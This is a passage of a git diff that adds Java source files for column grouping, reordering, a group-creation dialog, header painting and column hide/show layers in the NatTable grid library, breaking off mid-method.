a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupColumnReorderCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupColumnReorderCommandHandler.java new file mode 100644 index 0000000..4985d8d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupColumnReorderCommandHandler.java @@ -0,0 +1,116 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupReorderLayer; +import net.sourceforge.nattable.group.ColumnGroupUtils; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommand; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +/** + * Handles updating of the Column Group Model when a column belonging to + * a group is reordered. The actual reordering of the column is delegated to the lower layers. + */ +public class GroupColumnReorderCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupReorderLayer columnGroupReorderLayer; + + private final ColumnGroupModel model; + + public GroupColumnReorderCommandHandler(ColumnGroupReorderLayer columnGroupReorderLayer) { + this.columnGroupReorderLayer = columnGroupReorderLayer; + this.model = columnGroupReorderLayer.getModel(); + } + + public Class getCommandClass() { + return ColumnReorderCommand.class; + } + + @Override + protected boolean doCommand(ColumnReorderCommand command) { + int fromColumnPosition = command.getFromColumnPosition(); + int toColumnPosition = command.getToColumnPosition(); + + if (fromColumnPosition == -1 || toColumnPosition == -1) { + System.err.println("Invalid reorder positions, fromPosition: " + fromColumnPosition + ", toPosition: " + toColumnPosition); + } + ILayer underlyingLayer = columnGroupReorderLayer.getUnderlyingLayer(); + int fromColumnIndex = underlyingLayer.getColumnIndexByPosition(fromColumnPosition); + int toColumnIndex = underlyingLayer.getColumnIndexByPosition(toColumnPosition); + + MoveDirectionEnum moveDirection = ColumnGroupUtils.getMoveDirection(fromColumnPosition, toColumnPosition); + + String leftEdgeGroupName = null; + String rightEdgeGroupName = null; + + if (MoveDirectionEnum.RIGHT == moveDirection) { + rightEdgeGroupName = movedToLeftEdgeOfAGroup(toColumnPosition, toColumnIndex); + } + if (MoveDirectionEnum.LEFT == moveDirection) { + leftEdgeGroupName = movedToRightEdgeOfAGroup(toColumnPosition, toColumnIndex); + } + + if(updateModel(fromColumnIndex, toColumnIndex, leftEdgeGroupName, rightEdgeGroupName)){ + return underlyingLayer.doCommand(command); + }else{ + return false; + } + } + + private boolean updateModel(int fromColumnIndex, int toColumnIndex, String leftEdgeGroupName, String rightEdgeGroupName) { + + // If moved to the RIGHT edge of a group - remove from group + if (rightEdgeGroupName != null) { + return (model.isPartOfAGroup(fromColumnIndex)) ? model.removeColumnFromGroup(fromColumnIndex) : true; + } + + // If moved to the LEFT edge of a column group - include in the group + if (leftEdgeGroupName != null) { + boolean removed = true; + if (model.isPartOfAGroup(fromColumnIndex)){ + removed = model.removeColumnFromGroup(fromColumnIndex); + } + return removed && model.insertColumnIndexes(leftEdgeGroupName, fromColumnIndex); + } + + // Move column INTO a group + if (model.isPartOfAGroup(toColumnIndex) && !model.isPartOfAGroup(fromColumnIndex)) { + String groupName = model.getColumnGroupNameForIndex(toColumnIndex); + return model.insertColumnIndexes(groupName, fromColumnIndex); + } + + // Move column OUT of a group + if (model.isPartOfAGroup(fromColumnIndex) && !model.isPartOfAGroup(toColumnIndex)) { + return model.removeColumnFromGroup(fromColumnIndex); + } + + // Move column BETWEEN groups + if (model.isPartOfAGroup(toColumnIndex) && model.isPartOfAGroup(fromColumnIndex)) { + String toGroupName = model.getColumnGroupNameForIndex(toColumnIndex); + String fromGroupName = model.getColumnGroupNameForIndex(fromColumnIndex); + + if (fromGroupName.equals(toGroupName)) { + return true; + } else { + return model.removeColumnFromGroup(fromColumnIndex) && model.insertColumnIndexes(toGroupName, fromColumnIndex); + } + } + return true; + } + + private String movedToRightEdgeOfAGroup(int dropColumnPosition, int dropColumnIndex){ + if(ColumnGroupUtils.isRightEdgeOfAColumnGroup(columnGroupReorderLayer, dropColumnPosition, dropColumnIndex, model)){ + return model.getColumnGroupNameForIndex(dropColumnIndex); + } + return null; + } + + private String movedToLeftEdgeOfAGroup(int dropColumnPosition, int dropColumnIndex){ + if(ColumnGroupUtils.isLeftEdgeOfAColumnGroup(columnGroupReorderLayer, dropColumnPosition, dropColumnIndex, model)){ + return model.getColumnGroupNameForIndex(dropColumnIndex); + } + return null; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupMultiColumnReorderCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupMultiColumnReorderCommandHandler.java new file mode 100644 index 0000000..3bc4570 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/GroupMultiColumnReorderCommandHandler.java @@ -0,0 +1,76 @@ +package net.sourceforge.nattable.group.command; + +import java.util.List; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupReorderLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; + +public class GroupMultiColumnReorderCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupReorderLayer columnGroupReorderLayer; + + public GroupMultiColumnReorderCommandHandler(ColumnGroupReorderLayer columnGroupReorderLayer) { + this.columnGroupReorderLayer = columnGroupReorderLayer; + } + + public Class getCommandClass() { + return MultiColumnReorderCommand.class; + } + + @Override + protected boolean doCommand(MultiColumnReorderCommand command) { + int toColumnPosition = command.getToColumnPosition(); + + ILayer underlyingLayer = columnGroupReorderLayer.getUnderlyingLayer(); + int toColumnIndex = underlyingLayer.getColumnIndexByPosition(toColumnPosition); + + List fromColumnPositions = command.getFromColumnPositions(); + + ColumnGroupModel model = columnGroupReorderLayer.getModel(); + + if (updateModel(underlyingLayer, toColumnIndex, fromColumnPositions, model)) { + return underlyingLayer.doCommand(command); + } else { + return false; + } + } + + private boolean updateModel(ILayer underlyingLayer, int toColumnIndex, List fromColumnPositions, ColumnGroupModel model) { + // Moving INTO a group + if (model.isPartOfAGroup(toColumnIndex)) { + String toGroupName = model.getColumnGroupNameForIndex(toColumnIndex); + if (model.isPartOfAnUnbreakableGroup(toColumnIndex)) { + return false; + } + + for (Integer fromColumnPosition : fromColumnPositions) { + int fromColumnIndex = underlyingLayer.getColumnIndexByPosition(fromColumnPosition.intValue()); + + // If 'from' index not already present in the 'to' group + if (!toGroupName.equals(model.getColumnGroupNameForIndex(fromColumnIndex))) { + model.removeColumnFromGroup(fromColumnIndex); + model.addColumnsIndexesToGroup(toGroupName, fromColumnIndex); + } + } + return true; + } + + // Moving OUT OF a group + if (!model.isPartOfAGroup(toColumnIndex)) { + for (Integer fromColumnPosition : fromColumnPositions) { + // Remove from model - if present + int fromColumnIndex = underlyingLayer.getColumnIndexByPosition(fromColumnPosition.intValue()); + + if (model.isPartOfAGroup(fromColumnIndex) && !model.removeColumnFromGroup(fromColumnIndex)) { + return false; + } + } + return true; + } + + return true; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/IColumnGroupCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/IColumnGroupCommand.java new file mode 100644 index 0000000..5bf552d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/IColumnGroupCommand.java @@ -0,0 +1,12 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.ILayerCommand; + + +/** + * Marker interface for all column group related commands + * + */ +public interface IColumnGroupCommand extends ILayerCommand { + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/OpenCreateColumnGroupDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/OpenCreateColumnGroupDialog.java new file mode 100644 index 0000000..2193611 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/OpenCreateColumnGroupDialog.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; +import net.sourceforge.nattable.group.gui.CreateColumnGroupDialog; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.MessageBox; +import org.eclipse.swt.widgets.Shell; + +public class OpenCreateColumnGroupDialog extends AbstractContextFreeCommand implements IColumnGroupCommand { + + private final CreateColumnGroupDialog dialog; + private final MessageBox messageBox; + + public OpenCreateColumnGroupDialog(Shell parentShell) { + this.dialog = CreateColumnGroupDialog.createColumnGroupDialog(parentShell); + messageBox = new MessageBox(parentShell, SWT.INHERIT_DEFAULT | SWT.ICON_ERROR | SWT.OK); + } + + public CreateColumnGroupDialog getDialog() { + return dialog; + } + + public void openDialog(ILayer contextLayer) { + dialog.setContextLayer(contextLayer); + dialog.open(); + } + + public void openErrorBox(String errMessage) { + messageBox.setText("Error Message"); + messageBox.setMessage(errMessage); + messageBox.open(); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommand.java new file mode 100644 index 0000000..9fa966a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommand.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommand; + +public class ReorderColumnGroupCommand extends ColumnReorderCommand { + + public ReorderColumnGroupCommand(ILayer layer, int fromColumnPosition, int toColumnPosition) { + super(layer, fromColumnPosition, toColumnPosition); + } + + public ReorderColumnGroupCommand(ReorderColumnGroupCommand command) { + super(command); + } + + @Override + public ReorderColumnGroupCommand cloneCommand() { + return new ReorderColumnGroupCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommandHandler.java new file mode 100644 index 0000000..d6d4533 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnGroupCommandHandler.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupReorderLayer; + +public class ReorderColumnGroupCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupReorderLayer columnGroupReorderLayer; + + public ReorderColumnGroupCommandHandler(ColumnGroupReorderLayer columnGroupReorderLayer) { + this.columnGroupReorderLayer = columnGroupReorderLayer; + } + + public Class getCommandClass() { + return ReorderColumnGroupCommand.class; + } + + @Override + protected boolean doCommand(ReorderColumnGroupCommand command) { + int fromColumnPosition = command.getFromColumnPosition(); + int toColumnPosition = command.getToColumnPosition(); + + return columnGroupReorderLayer.reorderColumnGroup(fromColumnPosition, toColumnPosition); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommand.java new file mode 100644 index 0000000..247f617 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommand.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.group.command; + +import java.util.List; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; + +/** + * Reorder single multiple columns and column groups in one shot. + * - Needed by the column chooser + */ +public class ReorderColumnsAndGroupsCommand extends MultiColumnReorderCommand { + + /** + * If any of the fromColumnPositions contain a group + * - the group will be moved. + */ + public ReorderColumnsAndGroupsCommand(ILayer layer, List fromColumnPositions, int toColumnPositions) { + super(layer, fromColumnPositions, toColumnPositions); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommandHandler.java new file mode 100644 index 0000000..8fccab1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ReorderColumnsAndGroupsCommandHandler.java @@ -0,0 +1,54 @@ +package net.sourceforge.nattable.group.command; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupReorderLayer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; + +public class ReorderColumnsAndGroupsCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupReorderLayer columnGroupReorderLayer; + + public ReorderColumnsAndGroupsCommandHandler(ColumnGroupReorderLayer columnGroupReorderLayer) { + this.columnGroupReorderLayer = columnGroupReorderLayer; + } + + public Class getCommandClass() { + return ReorderColumnsAndGroupsCommand.class; + } + + /** + * Check if any column belongs to a group. If yes, add all columns in that group. + * Assumes that the 'toLocation' is not inside another group + */ + @Override + protected boolean doCommand(ReorderColumnsAndGroupsCommand command) { + final ILayer underlyingLayer = columnGroupReorderLayer.getUnderlyingLayer(); + List groupsProcessed = new ArrayList(); + + List fromColumnPositions = command.getFromColumnPositions(); + List fromColumnPositionsWithGroupColumns = new ArrayList(); + + for (Integer fromColumnPosition : fromColumnPositions) { + int fromColumnIndex = underlyingLayer.getColumnIndexByPosition(fromColumnPosition.intValue()); + + ColumnGroupModel model = columnGroupReorderLayer.getModel(); + if (model.isPartOfAGroup(fromColumnIndex)) { + String groupName = model.getColumnGroupNameForIndex(fromColumnIndex); + if (!groupsProcessed.contains(groupName)) { + groupsProcessed.add(groupName); + fromColumnPositionsWithGroupColumns.addAll(columnGroupReorderLayer.getColumnGroupPositions(fromColumnIndex)); + } + } else { + fromColumnPositionsWithGroupColumns.add(fromColumnPosition); + } + } + + return underlyingLayer.doCommand(new MultiColumnReorderCommand(columnGroupReorderLayer, fromColumnPositionsWithGroupColumns, command.getToColumnPosition())); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/UngroupColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/UngroupColumnCommand.java new file mode 100644 index 0000000..2b06414 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/UngroupColumnCommand.java @@ -0,0 +1,6 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class UngroupColumnCommand extends AbstractContextFreeCommand implements IColumnGroupCommand { +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/config/DefaultColumnGroupHeaderLayerConfiguration.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/config/DefaultColumnGroupHeaderLayerConfiguration.java new file mode 100644 index 0000000..de8b0ea --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/config/DefaultColumnGroupHeaderLayerConfiguration.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.group.config; + +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.action.ColumnGroupExpandCollapseAction; +import net.sourceforge.nattable.group.action.ColumnGroupHeaderReorderDragMode; +import net.sourceforge.nattable.group.action.ColumnHeaderReorderDragMode; +import net.sourceforge.nattable.group.action.CreateColumnGroupAction; +import net.sourceforge.nattable.group.action.UngroupColumnsAction; +import net.sourceforge.nattable.group.painter.ColumnGroupHeaderTextPainter; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.painter.cell.decorator.BeveledBorderDecorator; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; + +public class DefaultColumnGroupHeaderLayerConfiguration implements IConfiguration { + + private final ColumnGroupModel columnGroupModel; + + public DefaultColumnGroupHeaderLayerConfiguration(final ColumnGroupModel columnGroupModel) { + this.columnGroupModel = columnGroupModel; + } + + public void configureLayer(ILayer layer) { + // No op + } + + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute( + CellConfigAttributes.CELL_PAINTER, + new BeveledBorderDecorator(new ColumnGroupHeaderTextPainter(columnGroupModel)), + DisplayMode.NORMAL, + GridRegion.COLUMN_GROUP_HEADER + ); + } + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Column Group Header is a part of the Group Header. + // Register the 'column group header matcher' first so that it gets + // picked up before the more general 'column header matcher'. + uiBindingRegistry.registerMouseDragMode( + MouseEventMatcher.columnGroupHeaderLeftClick(SWT.NONE), + new ColumnGroupHeaderReorderDragMode(columnGroupModel)); + + uiBindingRegistry.registerMouseDragMode( + MouseEventMatcher.columnHeaderLeftClick(SWT.NONE), + new ColumnHeaderReorderDragMode(columnGroupModel)); + + + uiBindingRegistry.registerDoubleClickBinding( + MouseEventMatcher.columnGroupHeaderLeftClick(SWT.NONE), + new ColumnGroupExpandCollapseAction()); + + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL, 'g'), new CreateColumnGroupAction()); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CTRL, 'u'), new UngroupColumnsAction()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/GroupColumnsEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/GroupColumnsEvent.java new file mode 100644 index 0000000..e209db0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/GroupColumnsEvent.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.group.event; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.VisualRefreshEvent; + +public class GroupColumnsEvent extends VisualRefreshEvent { + + public GroupColumnsEvent(ILayer layer) { + super(layer); + } + + protected GroupColumnsEvent(GroupColumnsEvent event) { + super(event); + } + + public GroupColumnsEvent cloneEvent() { + return new GroupColumnsEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/UngroupColumnsEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/UngroupColumnsEvent.java new file mode 100644 index 0000000..e1c3cdd --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/event/UngroupColumnsEvent.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.group.event; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.VisualRefreshEvent; + +public class UngroupColumnsEvent extends VisualRefreshEvent { + + public UngroupColumnsEvent(ILayer layer) { + super(layer); + } + + protected UngroupColumnsEvent(UngroupColumnsEvent event) { + super(event); + } + + public UngroupColumnsEvent cloneEvent() { + return new UngroupColumnsEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/gui/CreateColumnGroupDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/gui/CreateColumnGroupDialog.java new file mode 100644 index 0000000..6529316 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/gui/CreateColumnGroupDialog.java @@ -0,0 +1,140 @@ +package net.sourceforge.nattable.group.gui; + +import net.sourceforge.nattable.group.command.CreateColumnGroupCommand; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +public class CreateColumnGroupDialog extends Dialog { + + private Button createButton; + private Text groupNameText; + private ILayer contextLayer; + + private CreateColumnGroupDialog(Shell parentShell) { + super(parentShell); + setShellStyle(SWT.CLOSE | SWT.BORDER | SWT.TITLE | SWT.APPLICATION_MODAL); + setBlockOnOpen(false); + } + + public static CreateColumnGroupDialog createColumnGroupDialog(Shell shell) { + return new CreateColumnGroupDialog(shell); + } + + public void setContextLayer(ILayer layer) { + this.contextLayer = layer; + } + + @Override + public void create() { + super.create(); + getShell().setText("Create Column Group"); + } + + @Override + protected Control createContents(final Composite parent) { + + final Composite composite = new Composite(parent, SWT.NONE); + composite.setLayout(new GridLayout(1,false)); + GridDataFactory.fillDefaults().grab(true, true).applyTo(composite); + + GridDataFactory.fillDefaults().minSize(200, 100).align(SWT.FILL, SWT.FILL).grab(true, false).applyTo(createInputPanel(composite)); + + Composite buttonPanel = createButtonSection(composite); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.BOTTOM).grab(true, true).applyTo(buttonPanel); + + return composite; + } + + private Composite createButtonSection(Composite composite) { + + Composite panel = new Composite(composite, SWT.NONE); + GridLayout layout= new GridLayout(1,false); + panel.setLayout(layout); + + Label spacer = new Label(panel, SWT.LEFT); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(spacer); + + createButton = createButton(panel, IDialogConstants.CLIENT_ID, "&Group", false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(52, SWT.DEFAULT).applyTo(createButton); + + createButton.setEnabled(false); + getShell().setDefaultButton(createButton); + + createButton.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + doColumnGrouping(); + } + }); + + Button closeButton = createButton(panel, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.BOTTOM).grab(false, false).hint(52, SWT.DEFAULT).applyTo(closeButton); + + return panel; + } + + private Composite createInputPanel(final Composite composite) { + final Composite row = new Composite(composite, SWT.NONE); + row.setLayout(new GridLayout(2,false)); + + final Label createLabel = new Label(row, SWT.NONE); + createLabel.setText("G&roup Name:"); + GridDataFactory.fillDefaults().align(SWT.LEFT, SWT.CENTER).applyTo(createLabel); + + groupNameText = new Text(row, SWT.SINGLE | SWT.BORDER); + GridDataFactory.fillDefaults().grab(true, false).applyTo(groupNameText); + groupNameText.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + createButton.setEnabled(groupNameText.getText().length() > 0); + } + }); + groupNameText.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetDefaultSelected(SelectionEvent e) { + if (createButton.isEnabled()) { + doColumnGrouping(); + } + } + }); + + return row; + } + + public void terminateDialog() { + close(); + } + + @Override + public boolean close() { + return super.close(); + } + + private void doColumnGrouping() { + BusyIndicator.showWhile(super.getShell().getDisplay(), new Runnable() { + public void run() { + final CreateColumnGroupCommand command = new CreateColumnGroupCommand(groupNameText.getText()); + try { + contextLayer.doCommand(command); + } finally { + terminateDialog(); + } + } + }); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/painter/ColumnGroupHeaderTextPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/painter/ColumnGroupHeaderTextPainter.java new file mode 100644 index 0000000..eac5031 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/painter/ColumnGroupHeaderTextPainter.java @@ -0,0 +1,69 @@ +package net.sourceforge.nattable.group.painter; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.CellPainterWrapper; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.painter.cell.ImagePainter; +import net.sourceforge.nattable.painter.cell.TextPainter; +import net.sourceforge.nattable.painter.cell.decorator.CellPainterDecorator; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; + +public class ColumnGroupHeaderTextPainter extends CellPainterWrapper { + + /** Needed to query column group cell expand/collapse state */ + private final ColumnGroupModel columnGroupModel; + + public ColumnGroupHeaderTextPainter(ColumnGroupModel columnGroupModel) { + this.columnGroupModel = columnGroupModel; + + setWrappedPainter(new CellPainterDecorator( new TextPainter(), CellEdgeEnum.RIGHT, new ExpandCollapseImagePainter())); + } + + /** + * @param columnGroupModel Column group model used by the grid + * @param interiorPainter for painting the text portion + * @param imagePainter for painting the icon image on the right + */ + public ColumnGroupHeaderTextPainter(ColumnGroupModel columnGroupModel, ICellPainter interiorPainter) { + this.columnGroupModel = columnGroupModel; + + setWrappedPainter(new CellPainterDecorator(interiorPainter, CellEdgeEnum.RIGHT, new ExpandCollapseImagePainter())); + } + + /** + * Preferred width is used during auto resize. + * Column groups do not participate in auto resize, since auto resizing is + * done by the column width. Hence, always return 0 + */ + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return 0; + } + + public class ExpandCollapseImagePainter extends ImagePainter { + final Image rightImg = GUIHelper.getImage("right"); + final Image leftImg = GUIHelper.getImage("left"); + + public ExpandCollapseImagePainter() { + super(null, false); + } + + @Override + protected Image getImage(LayerCell cell, IConfigRegistry configRegistry) { + String cellValue = cell.getDataValue().toString(); + if (columnGroupModel.isAGroup(cellValue)) { + return columnGroupModel.isCollapsed(cellValue) ? rightImg : leftImg; + } else { + return null; + } + } + + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/AbstractColumnHideShowLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/AbstractColumnHideShowLayer.java new file mode 100644 index 0000000..1050014 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/hideshow/AbstractColumnHideShowLayer.java @@ -0,0 +1,219 @@ +package net.sourceforge.nattable.hideshow; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Properties; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.layer.LayerUtil; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IStructuralChangeEvent; +import net.sourceforge.nattable.layer.event.RowStructuralRefreshEvent; + +public abstract class AbstractColumnHideShowLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + private List cachedVisibleColumnIndexOrder; + + private Map cachedHiddenColumnIndexToPositionMap; + + private final Map startXCache = new HashMap(); + + public AbstractColumnHideShowLayer(IUniqueIndexLayer underlyingLayer) { + super(underlyingLayer); + } + + @Override + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof IStructuralChangeEvent) { + IStructuralChangeEvent structuralChangeEvent = (IStructuralChangeEvent) event; + if (structuralChangeEvent.isHorizontalStructureChanged()) { + invalidateCache(); + } + } + super.handleLayerEvent(event); + } + + @Override + public void loadState(String prefix, Properties properties) { + super.loadState(prefix, properties); + fireLayerEvent(new RowStructuralRefreshEvent(this)); + } + + // Horizontal features + + // Columns + + @Override + public int getColumnCount() { + return getCachedVisibleColumnIndexes().size(); + } + + @Override + public int getColumnIndexByPosition(int columnPosition) { + if (columnPosition < 0 || columnPosition >= getColumnCount()) { + return -1; + } + + Integer columnIndex = getCachedVisibleColumnIndexes().get(columnPosition); + if (columnIndex != null) { + return columnIndex.intValue(); + } else { + return -1; + } + } + + public int getColumnPositionByIndex(int columnIndex) { + return getCachedVisibleColumnIndexes().indexOf(Integer.valueOf(columnIndex)); + } + + @Override + public int localToUnderlyingColumnPosition(int localColumnPosition) { + int columnIndex = getColumnIndexByPosition(localColumnPosition); + return ((IUniqueIndexLayer) getUnderlyingLayer()).getColumnPositionByIndex(columnIndex); + } + + @Override + public int underlyingToLocalColumnPosition(ILayer sourceUnderlyingLayer, int underlyingColumnPosition) { + int columnIndex = getUnderlyingLayer().getColumnIndexByPosition(underlyingColumnPosition); + int columnPosition = getColumnPositionByIndex(columnIndex); + if (columnPosition >= 0) { + return columnPosition; + } else { + Integer hiddenColumnPosition = cachedHiddenColumnIndexToPositionMap.get(Integer.valueOf(columnIndex)); + if (hiddenColumnPosition != null) { + return hiddenColumnPosition.intValue(); + } else { + return -1; + } + } + } + + @Override + public Collection underlyingToLocalColumnPositions(ILayer sourceUnderlyingLayer, Collection underlyingColumnPositionRanges) { + Collection localColumnPositionRanges = new ArrayList(); + + for (Range underlyingColumnPositionRange : 